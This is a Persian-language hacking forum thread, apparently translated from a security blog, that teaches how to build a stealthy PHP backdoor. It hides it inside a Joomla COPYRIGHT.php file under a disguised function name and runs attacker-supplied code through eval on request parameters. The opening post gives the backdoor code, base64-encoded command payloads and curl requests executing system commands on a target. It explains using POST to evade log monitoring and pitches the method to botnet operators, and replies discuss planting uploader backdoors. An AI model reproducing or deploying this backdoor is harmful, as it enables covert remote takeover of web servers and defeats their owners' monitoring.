نمایش نتایج: از شماره 1 تا 6 , از مجموع 6
  1. #1
    تاریخ عضویت
    Nov 2009
    محل سکونت
    ajaxtm
    نوشته ها
    114
    تشکر از ارسال
    75
    Thanked 21 Times in 5 Posts

    Post ساخت یک بکدور حرفه ای

    کد های مخرب هر چند کوچک میتوانند بسیار خطرناک تر از آنچه باشند که ما تصور میکنیم ! ما هر روز در انجام وظایف روزانه با انها خواسته یا ناخواسته روبرو میشویم , بسیاری از انها مبتنی بر وب هستند که بر اندازه و تاثیر تخریب متفاوت عمل میکنند شناسایی برخی از آنها بسیار آسان بوده و به راحتی رد گیری میشوند اما امروز میخواهیم بر تکنیکی تمرکز کنیم که به راحتی قابل رد گیری نباشد تا اجازه نگاه داشتن دسترسی خود به مدت طولانی از سرور های خاص خودمون داشته باشیم.

    در این بحث وارد بحث بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم که بکدور یا در پشتی چه کاری انجام میده ...

    بکدور ها ابزار یا برنامه هایی هستند که نفوذگر ها برای حفظ دسترسی بر روی سیستم های کلاینت , سرور ها و یا داخل سایت ها استفاده میکنند.

    حالا توجه شما رو به کد زیر جلب میکنم:
    کد PHP:
    <? php
    Copyright_joomla
    ();
    function 
    Copyright_joomla(){
    static 
    $gnu true;
    if(!
    $gnu) return;
    if(!isset(
    $_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
    $gpl=implode(''$_REQUEST['gnu']);
    eval (
    $gpl$_REQUEST['c_id']));
    $gnu=false;
    }
    میتونیم از این کد که توضیح خواهم داد به چه شکله و چیکار میکنه یک بکدور بسازیم.

    اما ابتدا باید دنبال یکی از فایل های خود پرتال باشیم تا کدمون رو توش جا بدیم

    گام اول فریب

    میتوتین در جوملا 1.5 از فایل COPYRIGHT.php استفاده کنیم برای رسیدن به اهدافمون اما این فایل چیست و محتویاتش چیه؟!
    کد:
    /**
    * @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $
    * @package Joomla
    * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
    * @license GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    */
    
    defined('_JEXEC') or die('Restricted access');
    
    Joomla! derives from copyrighted works licensed under the GNU General
    Public License. This version has been modified pursuant to the
    GNU General Public License as of September 15, 2005, and as distributed,
    it includes or is derivative of works licensed under the GNU General
    Public License or other free or open source software licenses. Please
    see the CREDITS.php for a non-exhaustive list of contributors and
    copyright holders. A full text version of the GNU GPL version 2 can be
    found in the LICENSE.php file. A full text version of the other licenses
    that Joomla! is derivative of or includes can be found in LICENSES.php
    .


    چطوری میتونیم ازش استفاده کنیم برمیگردیم به کد خودمون:
    کد PHP:
    Copyright_joomla();
    function 
    Copyright_joomla(){
    static 
    $gnu true;
    if(!
    $gnu) return;
    if(!isset(
    $_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
    $gpl=implode('',$_REQUEST['gnu']);
    eval (
    $gpl($_REQUEST['c_id']));
    $gnu=false;

    اگه شما یکphp کار باشید مطمئنا میتونید سورس رو بخونید و متوجه بشید

    بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :

    کد PHP:
     eval ($gpl($_REQUEST['c_id'])); 
    ارزیابی و اجرای کد با فانکشن Eval

    خوب این کد دقیقا کد مخرب ماست که به نفوذگر اجازه اجرای کد رو از راه دور و به آسانی میده

    تو خط

    کد PHP:
    eval ($gpl($_REQUEST['c_id'])); 
    سناریوی کامل برای تزریق کد ها اماده شده برای استفاده میشه به این ترتیب عمل کرد

    کد PHP:
    eval (system(CMD)); 
    از فانکشن system برای گرفتن خط فرمان







    کد PHP:
    eval (passthru(CMD)); 
    و همینطور از فانکشن passthru در صورتی که بسته نباشن.



    با یک مثال کد خطرناک اونو نشون میدم:

    ------------------------------------------------------
    [email protected]:~$ echo "system('uname -a; id');"|base 64
    ------------------------------------------------------
    خروجیش میشه

    ------------------------------------------------------
    c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
    ------------------------------------------------------
    و اجرای دستورات از راه دور :

    ------------------------------------------------------
    [email protected]:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
    Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
    uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
    ------------------------------------------------------
    یا میتونید بدون کد کردن دستورتون اجراش کنید

    ------------------------------------------------------
    [email protected]:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
    Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
    uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
    ------------------------------------------------------
    حالا میرسیم به جایی که مهم ترین نکته این بحث توش نهفته شده

    میریم سراغ مانیتورینگ

    اگر با این روش عمل کنیم محتوای لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
    ajaxtm.org - - [31/Jul/2013:00:00:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
    شاید با خودتون بگین که میتونیستیم با $_GET به راحتی این کار رو انجام بدیم ولی با این تفاوت که به راحتی مورد شناسایی میشدین لاگ های بر روی سرور به این صورت دیده میشه
    ajaxtm.org - - [31/Jul/2013:00:00:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTs K HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
    شخصه مانیتورکننده با اولین نگاه میتونه بفمه که یه خبر هایی در حال وقوعه .



    میشه نتیجه گرفت که یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک نفوذگر بکنه.

    حالا بهترین استفاده از این مورد به نظرتون کجاست ؟!

    یک باتنت نویس خوب همیشه به این فکر میکنه که چطوری میتونه زامبی هاشو از دید صاحب سرور و سایت دور نگه داره ...

    این روش میتونه کمک به سزایی در این زمینه بکنه.

    موفق باشید


    آنا یوردوم آذربایجان

    فقط در برابر یک نفر زانو میزنم



    Home : www.Ajaxtm.Org

  2. 12کاربر از HUrr!c4nE به علت ارسالش تشکر کردند.

    4shir (02-14-2014),Araz11316 (08-28-2013),black.shadowes (02-04-2014),Encoder (08-28-2013),hayula (02-15-2014),l4tr0d3ctism (08-28-2013),MarshalPinokio (08-28-2013),mmmmms (08-28-2013),ROTIL (02-15-2014),Sc0rpioN (08-28-2013),ViR-EnG (02-15-2014),web01 (10-05-2013)

  3. #2
    تاریخ عضویت
    Sep 2006
    محل سکونت
    Tehran
    نوشته ها
    705
    تشکر از ارسال
    806
    Thanked 399 Times in 133 Posts
    http://blog.sucuri.net/2013/08/open-...r-gnu-gpl.html

    اینو من 2 هقته پیش خوندم بسیار جالب بود, مرسی که ترجمه کردی برا عموم کیوان

  4. کاربر زیر از Sc0rpioN به علت ارسالش ابراز تشکر کرد.

    HUrr!c4nE (08-28-2013)

  5. #3
    تاریخ عضویت
    Sep 2010
    نوشته ها
    1,053
    تشکر از ارسال
    497
    Thanked 405 Times in 226 Posts
    به ندرت اتقاق میفته که مدیر سرور بیاد فانکشن هایی مثه system رو باز بزاره
    من به شخصه هر جا بخوام بکدور بکارم یه آپلودر با قابلیت تغییر مسیر میزارم
    ! Security is never Complete

  6. 3کاربر از Ako0ri به علت ارسالش تشکر کردند.

    Encoder (08-28-2013),PsyShaman (02-14-2014),web01 (10-05-2013)

  7. #4
    تاریخ عضویت
    Nov 2009
    محل سکونت
    ajaxtm
    نوشته ها
    114
    تشکر از ارسال
    75
    Thanked 21 Times in 5 Posts
    ممنون یاشار جان مطالب جالب ببینم شیر میکنم اگه لازم باشه ترجمه هم میکنم برای عموم
    البته اگه از نظر شما مشکلی نداشته باشه ...
    ویرایش توسط HUrr!c4nE : 08-28-2013 در ساعت 01:16 PM


    آنا یوردوم آذربایجان

    فقط در برابر یک نفر زانو میزنم



    Home : www.Ajaxtm.Org

  8. 4کاربر از HUrr!c4nE به علت ارسالش تشکر کردند.

    A.Amiri (02-14-2014),l4tr0d3ctism (08-28-2013),Mokhless (08-28-2013),web01 (10-05-2013)

  9. #5
    تاریخ عضویت
    Oct 2013
    محل سکونت
    Asgard
    نوشته ها
    4
    تشکر از ارسال
    5
    Thanked 1 Time in 1 Post
    نقل قول نوشته اصلی توسط Ako0ri نمایش پست ها
    به ندرت اتقاق میفته که مدیر سرور بیاد فانکشن هایی مثه system رو باز بزاره
    من به شخصه هر جا بخوام بکدور بکارم یه آپلودر با قابلیت تغییر مسیر میزارم
    می شه یه مثال واسه آپلودر با قابلیت تغییر مسیر بزنی؟

  10. #6
    تاریخ عضویت
    Jan 2009
    نوشته ها
    128
    تشکر از ارسال
    25
    Thanked 6 Times in 5 Posts
    دوستان راهی رو میشناسید که بشه eval رو دیکد کرد و باز هم اجرا بشه ؟ الان من خودم اگر بخوام اسکریپتی رو بررسی کنم اولین کارم سرچ دنبال eval هست
    مثلا
    eval(gzinflate(base64_decode($code)))
    این eval کار رو خراب میکنه

 

 

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •